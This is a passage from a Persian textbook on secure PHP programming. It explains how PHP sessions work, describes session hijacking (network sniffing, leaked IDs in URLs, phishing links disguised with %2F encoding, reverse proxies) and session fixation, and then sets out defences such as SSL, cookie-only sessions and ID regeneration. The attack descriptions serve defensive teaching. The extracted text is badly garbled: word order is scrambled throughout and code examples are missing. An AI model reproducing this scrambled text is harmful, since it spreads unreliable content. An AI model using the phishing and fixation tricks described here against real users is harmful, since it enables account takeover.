 نیز جلسه شود،می بسته مرورگر که هنگامی که معنا است بدان شوند. اینمی نوشته دیسک درون کوکی که

باشد.  معتبر همچنان است ممکن نمود جلسه بازیابی را واقعی ID بتوان شود.هرچند اگرمی نامعتبر اصولا

همچنین هر جلسه دارای یک طول عمر می باشد که در صورتی که به مدت بیشتر از آن طول عمر کلاینت با 

سرور ارتباط بر قرار نکند آن جلسه از روی سرور حذف خواهد شد. مدت عمر جلسات را می توان توسط 

ود و مدت زمان طول عمر نم است تنظیم php.iniفایل  در که session.cookie_lifetimeپارامتر 

 جلسات را بر اساس ثانیه تعیین نمود. 

  نمونهی جلسه یک 10.1.2

 در ادامه نمایش داده ایم را جلسه یک از استفاده و ایجاد فرآیند ما

 

 کند. درمی استفاده جلسه یک جهت آغاز PHP )( درsession_start تابع از ساده و کوتاه اسکریپت این

 ذخیره SESSION$_ عمومیی آرایه در را دیگر مقداری و test$ متغیر در را مقدار یک شما ادامه
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 پایدار جلسه یک طی توانندمی مقادیر این آیا که کنید بررسی که است این اینجا در شما هدف کنید.می

 خیر.  یاو در صفحات دیگر قابل دسترس باشد  بمانند

ID می توان با استفاده از تابع را جلسه session_id استخراج و در مثال بالا این )(ID  توسط دستور

echo ایجاد کرده ایم که کاربر بعد از کلیک  دیگر صفحه یک به لینک یک ما نهایت چاپ شده است. در

 را 1-10 تصویر در شده داده نشان خروجی اسکریپت، کردن بر روی آنبه صفحه دیگری منتقل می شود. این

 دهد. ارائه می

 sessionDemo1.php از ناشی جی: خرو1-10 تصویر

 

 مقدار PHPدهد. می رخ صحنه پشت در که است چیزی است، نشده داده نشان خروجی این در که چیزی

ID نام )با موقتی فایل یک نمود، ایجاد را خروجی این در شده داده نشانی جلسه 

 عمومیی آرایه در را آن و نمود ایجاد ( را

_$SESSION نمود. درون این فایل موقتی که در سرور قرار دارد به  ذخیره شده، مشخص مقادیر با

 جداجهت  سمیکالن و مقدار خود مقدار، طول و نوع ، | عمودیی کننده جدا ترتیب اندیس آرایه، یک

 باشد: می مقدار-کلید جفت یک همین شامل تنها فایل مثال این عناصر آرایه از هم می باشد. در نمودن

 

 یک با همراه که فرستاد پس کاربر مرورگرجهت  را آن و نمود ایجاد را اسکریپت خروجی PHP نهایت، در

 این باشد. محتوایمی جلسه است ID مقدار با شدهتنظیم PHPSESSID ثابت مقدار شامل که  کوکی

 مرورگر در این اجرا در و استشده ذخیره مرورگری حافظه در تنها گفتیم قبلا که طورهمان کوکی

 است.  شده داده نشان 2-10 تصویر است. که در شده ذخیره فایرفاکس
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 sessionDemo1.php توسط کاربر رایانه روی بر شده ذخیره : کوکی2-10 تصویر

 

 توانایی تا( sessionDemo2.phpزده شده بود ) لینک آن به که کنیممی ایجاد را اسکریپتی ادامه در

 دهیم. نشان اسکریپت دو بین در مقادیرحفظ جهت  را PHPی جلسه مکانیسم

 

که در صفحه  را متغیرهایی سپس و کنیدمی آغاز را جلسه یک است. شما ساده بسیار اسکریپت نیز این

sessionDemo1.php  که ببینید ( تاهاآن کردن تنظیم )بدون دهیممی نمایشایجاد شده بودند را به ترتیب 

 است.  شده داده نشان 3-10 تصویر در اسکریپت این خیر. خروجی یا دارند وجود آیا
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 sessionDemo2.php از : خروجی3-10 تصویر

 

 بود شده تنظیم قبلی کد در متغیر این نیست؛ مقداری هیچ دارای test$ متغیر می رفت، انتظار که طورهمان

آرایه و هم  است شده حفظ جلسه ID هم حذف گردید. ولی یافت، پایان اسکریپت که زمانی ولی

_$SESSION است.  مانده جا به اولیهی جلسه از که باشدمی انتظاری مورد مقدار که شامل 

، لینک روی بر شما که است. هنگامی اجراء حال در صحنه در پشت PHPی جلسه مکانیسم نیز، اینجا در

 PHPSESSID ثابت مقدار PHP کنید، درخواست سرور از را sessionDemo2.php تا کردید کلیک

 را درخواست این سرور که نمود. هنگامی ارسال درخواست، همراه به را آن و خواند کوکی روی از را

ی آرایه شامل که نمود استفاده موقتی فایل دنبال به جهت جستجو PHPSESSID مقدار از نمود، دریافت

کرد.  استفاده بالا در شده داده نشان خروجی تولیدجهت  مقادیر این از و باشدمی SESSION$_ عمومی

 متغیر یک عنوان به را PHPSESSID مقدار PHPرا ندهد  کوکیاجازه ذخیره سازی   شماسیستم  )اگر

_$GET به URI کرد(. می اضافه دوم، اسکریپتی کننده فراخوان 

 در اتفاقی چه که داندمی sessionDemo2.php جلسه، مکانیسم از استفاده با بنابراین،

sessionDemo1.php خواهیممی ما و است افتاده که اتفاقاتی از به بیان بهتر بخشی یا و است داده رخ 

 از کدامهیچ حالت، حفظجهت  مکانیسمی چنین داشتن بدانیم را در اختیار دارد. بدونها آن مورد در

 رخ روزمره صورت به اینترنت روی بر تجاری( که غیرهای فعالیت از تعدادی تنها )و تجاریهای فعالیت

 نبودند.  پذیر امکان دهند،می



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

269 

 

 
 

  جلسات از استفاده سوء 10.2

دارد.  وجود نیزاز آنها  استفاده سوءجهت  قدرتمند اندازه همان تقریبا تهدید یک جلسات، قدرت همراه به

 ابتدا در ماداد.  قرار استفاده سوء موردها آن طریق از را جلسات توانمی که دارند وجود کلی روش دو

 دهیم. می قرار بررسی مورد را جلسه تثبیت سپس و جلسه کردن هایجک

  جلسه کردن هایجک 10.2.1

 اطلاعات به دسترسی که هستند کلید یک شامل اصولا جلسه یک طی شده ارسالهای پیام که دلیل این به

 کارتی شماره حتی و صلاحیت تایید وضعیت مانند )به کندمی فراهم را کاربر یک خصوص در شده ذخیره

 جای به خود زدن جاجهت  کلید این از تواندبتواند به این کلید دسترسی پیدا کند می که کسی هر اعتباری(،

 که را کاری هر مهاجم یک قدرتی، چنین کند. با هایجک را کاربر هویت اصولا و کرده استفاده مشروع کاربر

 دهد.  انجام می تواند دهد، انجام تواندمی مشروع کاربر یک

  شبکه سمع استراق 10.2.1.1

 ID یک حاوی پیام یک دیدنجهت  مهاجم یکجهت  روش ترینساده مطمئنا و مورد ترینواضح شاید

 است بزرگ آنقدر زیاد احتمال به ترافیکی چنین حجم که شبکه می باشد. هرچند ترافیک جلسه، نظارت به

فقط آنهایی را  موجودیهای رشته نمودن فیلتر توان بانمود. ولی در مقابل می  وارسی دقت به را آن نتوان که

 به را ترافیک میزان باشند که احتمالا با اینکار” PHPSESSID“ یا” login“ بررسی نمود که حاوی عبارت

 داد. خواهد کاهش، مدیریت قابلای اندازه

و با توجه به اینکه هر شخصی که در یک شبکه  wifiامروزه با افزایش روز افزون استفاده از شبکه های 

استفاده  WEPباشد و یا از  OPENباشد می تواند به داده های سایر اعضای شبکه را مستقل از اینکه شبکه 

 کرده باشد دسترسی داشته باشد این روش برای هکرها بسیار ساده می باشد.   

  عمدی غیر آشکارسازی 10.2.1.2

 مربوطه هایURI تمامی به را جاریی جلسه IDکه  phpدر   transparent session جلسات  ویژگی

 اندکی راها بستهی مشاهده چنین نیست(، فعالها آنهای کوکی که مرورگرهایی )برای افزایدمی پاسخ، در
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 دسترسی با کسی هر بنابراین و گذاردمی دید جلوی در دقیقا را کاربر اطلاعات کلید امر کند. اینتر میساده

 دسترسی این کلی، صورت کند. به هایجک را جلسات می تواند سرور پاسخ یا درخواست 66هایلاگ به

 ممکن که کنندمی منتشر را خود وبلاگ تحلیل صفحاتها سایت از بسیاری ولی باشد.می مدیران به محدود

 کند.  فاش شوند،می ارسال GET$_ متغیرهای از استفاده با که را جلساتی هایID است

 این به بیشتر کردن هایجک نوع ترینمعمول واقع در که چرا نیست خیلی رایج سمعیاستراق چنین ولی

 با را کار این تواندکند. و می فاش را خودی جلسه ID غیرعمدی صورت به کاربر که صورت انجام می شود

است. جهت  اطلاعاتی چنین شامل که دهد انجام لینک یک گذاری اشتراک یا و کردن پست کردن، ایمیل

 یک و کند پیدا دارد دوست که را کتابی بخرد، کتاب یک تا شود سایت یک وارد است ممکن شخصی مثال

)به طور مثال کتابی مشابه  بفرستد پیام صورت به یا و کرده ایمیل خود دوستانجهت  را کتاب این به لینک

 کنترل تحت را ویی جلسه ببیند، را کتاب این تا کند کلیک لینک این روی بر که کسی آن تهیه کند(. هر

 باشد(.  برقرار همچنان )اگر داشت خواهد

 کنترل php.ini در session.use_trans_sid دستورالعمل توسط transparent session جلسات

 با جلسه اطلاعات عمدی غیر افشای خطر که دلیل این است. به خاموش فرضپیش صورت به که شوندمی

transparent session واقعا اینکه مگر بگذارید خاموش را آن شما که دهیممی پیشنهاد ما باشدمی بالا 

 در خود کاربران به که شوید است. مطمئن فعال غیرها آنهای کوکی که باشید مرورگرهایی با کار نیازمند

 داده اید.  آموزش ،هاآن در جلسه فعال هایID با هایURI گذاری اشتراک به خطرات خصوص

 1را برابر با  session.use_only_cookiesبرای افزایش سطح امنیت کدهای خود پارامتر  توانیدمی شما

 قرار دهید اینکار باعث می شود تنها از جلساتی که در کوکی مرورگر ذخیره شده است استفاده کند.  

 68 فیشینگ وها پراکسي ،67کردن فوروارد 10.2.1.3

 که باشدمی سروری از متفاوتی سرور یک به اتصالجهت  کاربر مرورگر زدن گول شامل کردن، هایجک

 50ی ویژه تخفیف یک است ممکن ایمیل پیام یک است. برای مثال، آن با اتصال حال در کندمی فکر

                                                   

 

 

66 Logs 

67 Redirect 

68 Phishing 
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 آن به لینک یک با amazon.com در چیزی هر روی کاربران( بر از خاصی تعدادجهت  تنها )البته درصدی

 این:  به شبیه چیزی است، مهاجم خود سرور به واقع در لینک این اینکه از غیر به -دهد ارائه را سایت

 

 و کندمی ارسال اصلی سروربرای  را درخواست مهاجم نماید،می ارتباط یک درخواست کاربر که هنگامی

 مشروع سایت بین که را جلسه اطلاعاتبه  و کندمی عملاطلاعات  تبادلجهت  میانجی یک عنوان به سپس

 دسترسی دارد. هستند تبادل حال در کاربر و

 نوار در شده داده نمایش URI حال، هر )امیدواریم(. به زد نخواهد گول را کاربران از بسیاری بالا لینک

 دیگر، سوی نیست. از Amazon.com به متعلق لینک این که دهدمی نشان وضوح به مرورگر وضعیت

 استفاده مورد ناآگاه کاربران زدن گولجهت  تواندمی طولانی URI یک که اند گرفته یاد مهاجمین از بسیاری

 بگیرید:  نظر در را شکل این به گیرد. لینکی قرار

 

 کافیی اندازه URI کند ولی این اعتماد آن به بتواند اینترنتی آگاه کاربر یک که نیست این لینکی کهحالی در

 رود.  کار به تجربهبی یا ساده کاربر یک زدن گولجهت  که هست کننده گیج

 را URI در موجودهای دات از بعضی که صورت این به بکند نیزتر پیچیده را حقه این حتی تواندمی مهاجم

 صورت:  این به نماید، رمزگذاری 2F% عنوان به

 

 بر کاربر که هنگامی شد خواهد داده نشان اسلش عنوان به مرورگر وضعیتی پنجره در 2F% حالت، این در

 بپذیرد. قانونی  آدرس یک عنوان به را آن که دهدمی افزایش را احتمال این که رود،می لینک روی

 بلکه جلسات کردن هایجک نه آن اصلی هدف اصولا که نامندمی فیشینگ را روش این از نوع یک نکته:

 یک که کندمی ایجاد را سایت وب یک است. مهاجم مستقیم صورت به کاربر ورودی اطلاعات دریافت

 رسانی روز بهجهت  مثلا برود، سایت این به که کندمی وادار را کاربر یک و نمایدمی جعل را مشروع سایت



  PHPنویسي امن برنامه

272 

 

 
 

 تواندمی مهاجم شد، وارد ناآگاه کاربر یک توسط اطلاعات این که شخصی. هنگامی اطلاعات بررسی یا و

 کند. ایجاد قربانی، هویت با شدن وارد با را خود جلسات

 

 69 وارونهای پروکسي 10.2.1.4

 تغییر انتقال است را حال درکه  را درخواست یک محتوای مهاجم یک وارون، پراکسیی حمله یک در

به طور مثال هکر به عنوان یک میانجی یا گذارد. می نخورده دست جهت، هر در را جلسه کوکی و دهدمی

کاربر در خواست یک سایت تجاری یا بانکی را بدهد و سپس وارد پروکسی عمل می کند منتظر می شود که 

پنل کاربری اش شود. با فرض اینکه کاربر درخواست گزارش روزانه داده باشد هکر درخواست را به مورد 

 دیگر مانند درخواست رمز دوم تغییر می دهد و با اینکار به اهداف خود می رسد.

 70 تثبیت 10.2.2

 یک گرفتن کنترل تحتجهت  تلاش جای به باشد؛می جلسه هایجک دمتضا لحاظ یک از جلسه تثبیت

 از هم باز روش کند. این ایجاد را شده شناخته معتبری جلسه یک تا کندمی تلاش ناشناخته، معتبری جلسه

 را اسکریپت یک شخصی که کنید برد. فرضمی بهره GET$_ متغیر یک در جلسه IDی ذخیره نقص

 یک که کندمی ارسال سایت وب یکجهت  را خربم درخواست یک مکرر صورت به که است کرده ایجاد

PHPSESSID خورند،می شکست هم سر پشتها درخواست دارد. این خود همراه به را 9876 با برابر 

 در 71اتاق چت را پیام یک نظر مورد شخص ندارد. بنابراین، وجود ID این با معتبریی جلسه هیچ که چرا

 صورت است:  این متن آن به کند،می ارسال ماشین با مرتبط سایت یک

ببینید.  اینجا کلیک با رو عکس ماشین تونیدببینید! مي منو جدید ماشین قشنگ رنگ رفقا، هي"

 "جهت مخفي کردن اطلاعات باید وارد سایت بشین
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این:  مثل چیزی است، کرده وارد را مطلوبی جلسه ID حاوی لینک یک پیام این در شخص

 ببیند، را ماشین که خواهدمی . قربانی

شود. می ایجاد 9876 با برابر ID با جلسه یک بنابراین و شودمی وارد کند،می کلیک لینک روی بر بنابراین

 شود. می موفق قربانی، صلاحیت تایید از استفاده با نظر، مورد شخصی حمله اکنون

 جلسه ID یک آیا که ببینند تا کنند بررسی باید کنند،می دریافت راها درخواستها آن وقتی حالت، این در

 کرده خاموش را خودهای کوکی که کاربری سوی از )مثلا خیر یا شودمی وارد GET$_ متغیر یک عنوان به

 است(. 

  جلسه از استفاده سوء از جلوگیری 10.3

های روش شامل که کنیممی ارائه جلسه از سوءاستفاده از جلوگیریجهت  را پیشنهادات ازای مجموعه ما

 می باشد.  متوسط تاثیر با ولی سادههای روش و موثر کاملا ولی پیچیده

  ایمنهای سوکتی لایه از استفاده 10.3.1

 با حفاظت ارزش ارتباط یک است: اگر این جلسه از سوءاستفاده از جلوگیریجهت  ما اصلی پیشنهاد

 زیر حفاظت SSLدارد.  نیز را TLS  یا SSL توسط حفاظت ارزش پس دارد، را عبور رمز یک از استفاده

 کند: می ارائه را

 شودمی باعث SSL شود،می جابهجا سرور و کلاینت بین کهای  جلسه کوکی مقدار رمزگذاری با -

 و سرور و مشتری بین شبکه هر در سمعاستراق حال در که کسی هر دسترس از جلسه ID که

 باشد.  دور باشد،می آن عکس

 جعل انجامجهت  مخرب پراکسی مانع تواندمی SSL معتبر، امضای یک با سرور صلاحیت تایید با -

 مرورگر امنیتی مکانیسم کند، ارسال بخواهد را خود امضایی جعلی پراکسی اگر شود. حتی هویت

 تبادل این که دهد اخطار کاربر به و است نشناخته را گواهی این که دهد نمایش را هشداری کاربر

 کند.  قطع را

 قابل سطوح یارائهتر جهت سادههای روش از تعدادی به اکنون ما بنابراین است گران SSL حال، این با

 پردازیم. می جلسات از استفاده سوء برابر در حفاظت از قبولی
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 GET$_ متغیرهای جای بهها کوکي از استفاده 10.3.2

 در عمومی تنظیمات نوع هر تا کنید استفاده خود اسکریپت ابتدای در زیر ini_set متدهای  از همواره

php.ini دهید:  قرار تاثیر تحت را 

 

 از استفاده با تنها را جلسه دیای،  PHP که شودمی باعث session.use_only_cookies تنظیمات

 نداند. این معتبر را’GET[‘PHPSESSID ]$_ گاههیچ شما اسکریپت کهای گونه به کند مدیریت کوکی

 همچنین ما کند. ولیمی منتفی را transparent session Ids از استفاده خودکار صورت به امر

session.user_trans_sid افشای مانع تا کنیممی خاموش نیز را ID تمامی در جلسه URIشویم هایی 

 کوکی از استفاده به قادر مرورگر آیا که دریابد PHP اینکه از قبل شوند،می گردانده باز اول پاسخ در که

 خیر.  یا هست جلسه

 حملات تحت همچنان ولی داردمی باز خودی جلسه هایID تصادفی افشای از را کاربران روش، این

DNS دارد.  قرار پراکسی و 

 دهید تغییر را جلسه عمر طول 10.3.3

 قابل امر این است. که باز مرورگر که زمانی با برابر یعنی است 0 با برابر جلسه کوکی یک عمر اگر طول

 به تنها گذارندمی باز دلیل بی و طولانی مدتیجهت  را جلسات کاربران که زمانی مثال )برای باشد نمی قبول

 قبیل از دستور یک افزودن با را خود مدنظر عمر طول توانیدمی شما بندند(،نمی را خود مرورگر که دلیل این

 باعث امر کنید. این مشخص خود،های اسکریپت در 

 آن است ممکن )همچنین دقیقه 20 همان یا باشد ثانیه 1200 با برابر جلسه کوکی یک عمر طول که شودمی

 20 از بعد جلسه کوکی که شودمی باعث تنظیمات کنید(. این تعریف php.ini در عمومی صورت به را

 زمانی مدت در جلسه یک که شود. هنگامیمی نامعتبر جلسه، ID این لحظه این در که شود منقضی دقیقه

 را جلسه یک توانست خواهد سختی به انسانی مهاجم یک شود،می اوتتایم، دقیقه 20 مثل کوتاه نسبتا

 کند.  کار پراکسی یا سرورهای لاگ رویبر  بتواند تنها اگر کند هایجک

زباله یا همان فایل  آوریجمع توابع توسط، سرور روی بر جلسه یک اعتبار طول کوکی، عمر طول بر علاوه

کنند. دستورالعمل که می پاک اند،شده قدیمی خیلی که راای جلسههای فایل که شودمی کنترل های اضافی
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session.gc_maxlifetime  در فایل php.ini مشخص را جلسه یکی بیشینه عمر طول قرار دارد 

 صورت به که معنا است بدان باشد. اینمی دقیقه 24 یا ثانیه 1440 با برابر آن فرضپیش مقدار. کندمی

ی ادامه )برایبیشتر در سرور وجود داشته باشد  دقیقه 4 مدت به توانمی PHPSESSID کوکی فرض،پیش

 قبلی(  پاراگراف در کوکیای دقیقه 20 عمر طول مثال

 

 احتمال که شودمی حملاتی برابر در جلسه یک از حفاظت موجب جلسه عمر طولی کارانه محافظه کنترل

 یک توسط شبکههای لاگ خواندن توسط شده انجام حملات مثال )برای دهند رخ آن عمر طول در دارد

 جلسه کند، صرف فرم یک کردن کاملجهت  را طولانی زمان کاربر یک اگر انسانی(. از طرف دیگر مهاجم

پرداخت اینترنتی مشاهده می شود رفت. نمونه رایج چنین رویدادی در درگاه های  خواهند دست از احتمالا

 دقیقه ( برای پر کردن و ارسال در نظرگرفته شده است. 10که مدت زمان محدودی ) معمولا 

 که شده نویسیاسکریپتی حمله یک از به آن، بااستفاده  نزدیک یا معمول مدت زمان در  البته هایجک 

 هزارانجهت  کافی زمان ثانیه 60 تیاست. ح پذیرامکان همچنان شود،می آغاز پراکسی یک توسط

 باشد. می شده هایجک کوکی مقدار یک از استفاده با شده نویسیاسکریپت درخواست

 کاربرانجهت  هاID بازتولید 10.3.4

 ایمن محل یک از جاییبهجا با چه و شدن خارج با چه دهد،می تغییر را خود وضعیت کاربر یک که بار هر

 را قبلی ID تا نمایید باز تولید را جلسه جدید ID یک باید شما بالعکس(، مطمئنا )و غیرایمن محل یک به

 کنید. خارج اعتباراز 

واقع در )و ببرید بین از را SESSION$_های موجود در داده کهو نباید  نیست هدف این 

 ID یک ایجاد هدف گذارد(. بلکه،می باقی نخورده دست راها داده این 

 است.  جدیدی جلسه

 یک کنندهمراجعه هربرای  که بگیریم نظر در راای برنامه که دهید اجازه مسئله، این دادن نشان بهتر برای

 صادر جلسه ID یک ویبرای  رسد،می ابتدا در ناشناس کاربر یک که کند. هنگامیمی ایجاد را جلسه

 ID آن ما دهیم،نمی خود ناشناس و عمومی جلسات روی بر امنیت به اهمیتی ما اینکه شود. با توجه بهمی

 کنیم. می ارسال HTTPاز طریق  رمزگذاری بدون را جلسه
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 لاگینی صفحه درخواست زمان شود. درمی وارد ای مبرنامه خصوصی رابط به ما ناشناس کاربر ادامه، در

 رابطجهت  که کندمی استفاده جلسه ID کوکی همان از همچنان وی ایمن، ارتباط بستر برای ورود به

 ID یک باید  ما دهد،می تغییر شدن وارد با را خود وضعیت وی که کرد. هنگامیمی استفاده عمومی

 نوع هر توانیممی ما روش، این سازیم. به نامعتبر را قبلی ID و کنیم صادر SSL بستر در را جدیدی جلسه

 شکلی به را کاربری جلسه و کرده منتفی دهد، رخ ساده متن HTTP بستر در است ممکن که را هایجکی

دهیم. نمونه رایج اینکار در سایت گوگل می باشد که درحالتی که ما لاگین می ادامه HTTPS بستر در ایمن

از ورود  مواجه هستیم ) حتی در صفحه لاگین ( ولی بعد  httpنکرده ایم و قصد جستجو داریم با پرتکل 

ID  عوض شده و از پرتکلhttps اسکریپت یک از استفاده می شود. در ادامه  مثالی HTTPS لاگین ،

 شود: می بازتولید جلسه، ID در آن کهداده شده است  نشان

 

 شده تعیین پیش از رمزعبور یک با را کاربر رمزعبور ورودی شما کامل، لاگین اسکریپت یک از قطعه این در

 کنیدمی اجرا )( راsession_regenerate_id تابع شما شود، انجام موفقیت با امر این اگر کنیدمی مقایسه

 کند. می ارسال مرورگرجهت  کوکی یک عنوان به را آن و کندمی ایجاد را جدیدی جلسه ID یک که
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  ببرید بهره شده تست کد از 10.3.5

 تاکنون که است گرفته قرار استفاده مورد نویسبرنامه هزار صدها توسط PHP داخلیی جلسه مکانیسم

 اند(. بنابراینشدهها آن حذف موجب )و کشف کرده اند را آن داخلیهای همه( باگ نه )اگر اعظمی بخش

با اعتماد بیشتری می توانید از اسکریپتهای استاندارد استفاده نمایید تا اینکه بخواهید تنظیمات مختص به  شما

 خود را انجام دهید. 

 دادهپایگاه این  گرفتید موقتی حافظه یک جای به دادهپایگاه یک در خود جلساتی ذخیره به تصمیم اگر

 این در سروری هر کند. سپس، استفاده خود اصلی کلید عنوان به جلسه ID مقدار از که بسازیدای گونه به را

می شود که بتوان گزارشی از کاربران تهیه . اینکار موجب کند استفاده مقدار این از سادگی به تواندمی دامنه

 نمود.

  موثر غیرهای حل راه گرفتن نادیده 10.3.6

 گاهی که دهیممی قرار بحث مورد را حل راه سه خلاصه صورت به اینجا در ما بحث، بودن کامل برای

 نیستند.  موثر وجه هیچ به واقع در ولی شوندمی پیشنهاد

 مصرف بار یک کلیدهای  10.3.6.1

 از کدام هربه ازای  اعتبار تایید با را شده هایجکی جلسه ID یک توانیدمی شما که رسدمی نظر به 

داریم که  متفاوت ظاهرا روش سهبرای انجام اینکار به  پیشنهاداتی سازید. ما استفاده غیرقابل ها،درخواست

 باشد. می خود با مرتبط مشکلات دارای کدام هر متاسفانه،

 مقادیر ازهای مجموع از استفاده )با کنید ایجاد را مصرف بار یک تصادفی کلید یک توانیدمی شما -الف

 کنید. شما ترکیب موجود،ی جلسه ID با را آن دهنده( و ارجاع IP آدرسو  زمان شامل ممکن تصادفی

 مورد اعتبار تاییدجهت  جلسه ID جای به تا کنید ارسال را نتیجه و نمودهسازی درهم را نتیجه توانیدمی

)کد  سمعاسترق هدف یک جایگزینی دهدمی انجام روش این که کاری تمام حال، این گیرد. با قرار استفاده

 جلسه( است.  ID) دیگر یکی جای ترکیبی( به

 و نموده ایجاد شود،می دریافت درخواستی که بار هر را جدید مصرف بار یک کلید یک توانیدمی شما -ب

 که کاربری کهای گونه )به بگیرید نظر در درخواست یک اعتبار تاییدجهت  ثانویه چک  یک عنوان به را آن

 این نماید(. با ارائه نیز را مصرف بار یک کلید این همچنین بلکه اولیهی جلسه ID تنها نه باید گرددمی باز

 کند. می جایگزین اولیه، هدف جای به را سمعاستراق هدف دو تنها نیز روش این حال،
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 تابع از استفاده با درخواست هرجهت  را جدیدی جلسه ID یک توانیدمی -پ

session_regenerate_id فراعمومی در موجودهای داده که کنید ایجاد _$SESSION کند می حفظ را

 روش کند. اینمی ارسال کاربرجهت  را جدیدی جلسه کوکی و کندمی ایجاد را جدیدی جلسه ID یک و

 دهد. نمی انجام بار، هر در سمعاستراق هدف محتوای تغییر از بیش کاری

 تولید حال، عین در بلکه شوندنمی کردن هایجک شدنتر سخت موجب نه تنهاها روش این بنابراین

 کند.  وارد، سرور روی بر را قبول غیرقابل بار یک تواندمی هاID و کلیدهای همواره

استفاده می کنند و امکان ارسال درخواست به  72همچنین در سایت هایی که از تکنولوژی هایی مانند اجکس 

سمت سرور بسیار زیاد می باشد ) به طور مثال سایت خرید و فروش ارز و طلا که در بازه زمانی کوتاه باید 

سرور اعمال می کند از طرف دیگر  نرخ ها را دریافت کند( استفاده از این روش ها بار کاری زیادی را روی

 برای کلاینت نیز پردازش اضافی به همراه دارد. 

 SSLدر مقایسه با مزایای  هستند، بنابراین SSL از استفاده از بیشتر کاری نیازمند موارد این علاوه، به

 هستند.  بیهوده مصرف، بار یک کلیدهای روش اینی همه

 کاربر عامل بررسي  10.3.6.2

 شود؛می نامیده کاربر عامل که کندمی ارسال را شناساییی رشته یک درخواست هر همراه به کاربر مرورگر 

 قرار استفاده مورد مشتری توسط مرورگری، ویرایش و عاملسیستم چه که دهد نشان که است این آن هدف

 باشد:  این به شبیه است ممکن بخش است. این گرفته

 

 لحاظ از(  ’SESSION[‘HTTP_USER_AGENT]$_ عمومی متغیر در )موجود رشته این بررسی

 جهان واقع، خیر. در یا است قبلی کاربر همان سوی از درخواست یک آیا که کند مشخص تواندمی نظری

نفر از مرورگر موزیلا و  n) به طور مثال  است کوچک بسیار کاربران جهان با مقایسه در مرورگرهای عامل

 عامل یک که ندارد وجود کاربر هرجهت  امکان این بنابراین وفاده می کنند( است  10سیستم عامل ویندوز 
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 اندکی دلیل نمود. بنابراین جعل را کاربری عامل یک توانمی سختی به علاوه باشد. به داشته مجزا کاربری

 دارد.  وجود جلسه اعتبار اثبات عنوان به معیار این بررسیجهت 

 دهنده ارجاعی صفحه آدرس بررسي 10.3.6.3

 به را مقوله است. این شده آغاز آن از درخواست که است وبیی صفحه URI شامل HTTP درخواست هر 

 در که شودمی شناخته referer صورت به معمولابه اشتباه  )که شناسند( میreferrer) دهنده ارجاع عنوان

 ارجاع یک همراه به دارد همراه را جلسه ID یک که درخواست یک باشد(. اگرمی HTTPی اولیه پروتکل

 شمای کننده دریافت اسکریپت است. جهت مثال، مشکوک زیاد احتمال به بیاید، برنامه از خارج از دهنده

 باشد، داشته را example.com/choose.php آدرس در فرم اسکریپت یک از درخواستی انتظار است ممکن

 که دهد نشان این می تواند  اشدب خالی’SESSION[‘HTTP_REFERE ]$_ فراعمومی متغیر اگر ولی

 متغیرهای که باشید مطمئن زیادی حد تا توانیدمی است، آمده شما سایت وب از خارج از درخواست

_$POST ازتر سخت دهنده ارجاع یک کردن جعل حال، این هستند. با اعتماد غیرقابل شوند،می وارد که 

 باهوش باشند، شرور افراد اگر بنابراین نیست؛ کاربری عامل یک کردن جعل

_$SESSION[‘HTTP_REFERE ]’ی فایده نیز، اینجا باشد. درمی انتظار مورد مقدار شامل صورت هر به

 ندارد. وجود دهنده ارجاع بررسیجهت  خاصی

 سرور به که جلسه کوکی هر از کورکورانه تبعیت به نسبت را هاییمزیت روش، سه این اگر صادقانه بگوییم

 و زمان شامل است ممکنها آن از استفاده شد. ولی نخواهند ضرری موجب و دهندارائه می را شودمی ارائه

 در واقعی دفاع تنها عنوان به را آن ما که باشد، SSL با ایمن واقعا رابط یک یارائه با برابر بسیاری تلاش

 دهیم.می پیشنهاد، جلسات خودکار هایجک برابر

  جلسه از استفاده سوء برابر در حفاظتجهت  تست 10.4

 با رابطه در حال، این دادیم. با ارائه را بالقوههای نقصجهت  خودهای اسکریپت تست ما قبلی،های فصل در

مبحثی که ارائه شده سعی در آشنایی کلی به مباحث این حوزه داشتیم و بیشتر  جلسه، از استفاده سوء

 این در یم به جای اینکه تکنیکهای خاص را بیان کنیم. بنابراین،ایرادات رایج و روشهای عمومی را بیان کرد

 مناسبی نویسیبرنامههای فعالیت از که خواهیممی شما از فقط و دهیمنمی ارائه را تستی نوع هیچ ما حالت،

 کنید.  تبعیت دادیم، قرار بحث مورد قبلا که
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  خلاصه 10.5

 مهاجمینی از ناشی که را شما کاربرانهای داده بهدستیابی جهت  بالقوه خطرات خصوص در خود بررسی ما

 سوء به فصل این در و دادیم ادامه کنندمی استفاده سوء شماهای اسکریپت در موجودهای نقص از که هستند

 پرداختیم.  جلسات از استفاده

 از استفاده سوء از معمول نوع دو ما کنند،می کار چگونه و هستند چه جلسات اینکه دقیق توصیف از بعد

 مهاجمین حالت، دو هر . درهاآن تثبیت یا و کردن هایجک از عبارتند که دادیم قرار بررسی مورد را جلسه

 ما ادامه، ببرند. در بهره خود شوم اهداف اجرایجهت  دیگر فردی معتبر دسترسی از تا کنندمی تلاش

 دادیم:  قرار بحث مورد را ممکنهای حل راه ازای مجموعه

 کنند. می رمزگذاری را تبادل کل که TLS یا SSL با خود جلسات از حفاظت -1

 . GET$_ متغیرهای جای بهها کوکی از استفاده بر اصرار -2

 جلسات.  نمودن اوت تایم -3

 دهند. می تغییر را وضعیت کاربران که هنگامی جلسات هایID بازتولید -4

 شده.  تست کد انتزاع به تکیه -5

 موثر.  غیرهای روش از اجتناب -6

 

  



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

281 

 

 
 

 : استفاده از کدهای کپجا یازدهم فصل 11

با  که هاییسایتوبهمچنین  است ناظر بدون و همواره قابل دسترس عمومی، اینترنت معمولاً محیطی

 نوع اینبرای  امنیتی دارند. تهدیدات قرار سوءاستفاده خطر معرض در بیشتر اندشدهطراحیکاربری عمومی 

 مجوز استفاده دارای کاربری، هر اصولاً چراکه نیستند غیر مجاز کاربران با مرتبط تهدیدات هاسایتوب

 هستند. به بیان دیگر مکانیکی یا و خودکار هایربات یا کاربرانشبه با مرتبط خطرات باشد. در واقع،می

 باشند.  داشته تعامل شما سایتوب با تا زنندمی جا هاانسان جایبه را خود که هاییرایانه

را بیان  باشد جذاب هاییربات برای چنین شما باعث می شود سایت که را دلایلی از برخی اول فصل در ما

کنید.  ارائه را هاپیام یا و نظرات ثبت یا و ایمیل هایآدرسایجاد  قبیل از امکاناتی است ممکن می کنیم. شما

 یا و ایمیل هایآدرس مثل ببرند، بهره آن از بتوانند دیگران که باشید داشته اطلاعاتی است ممکنهمچنین 

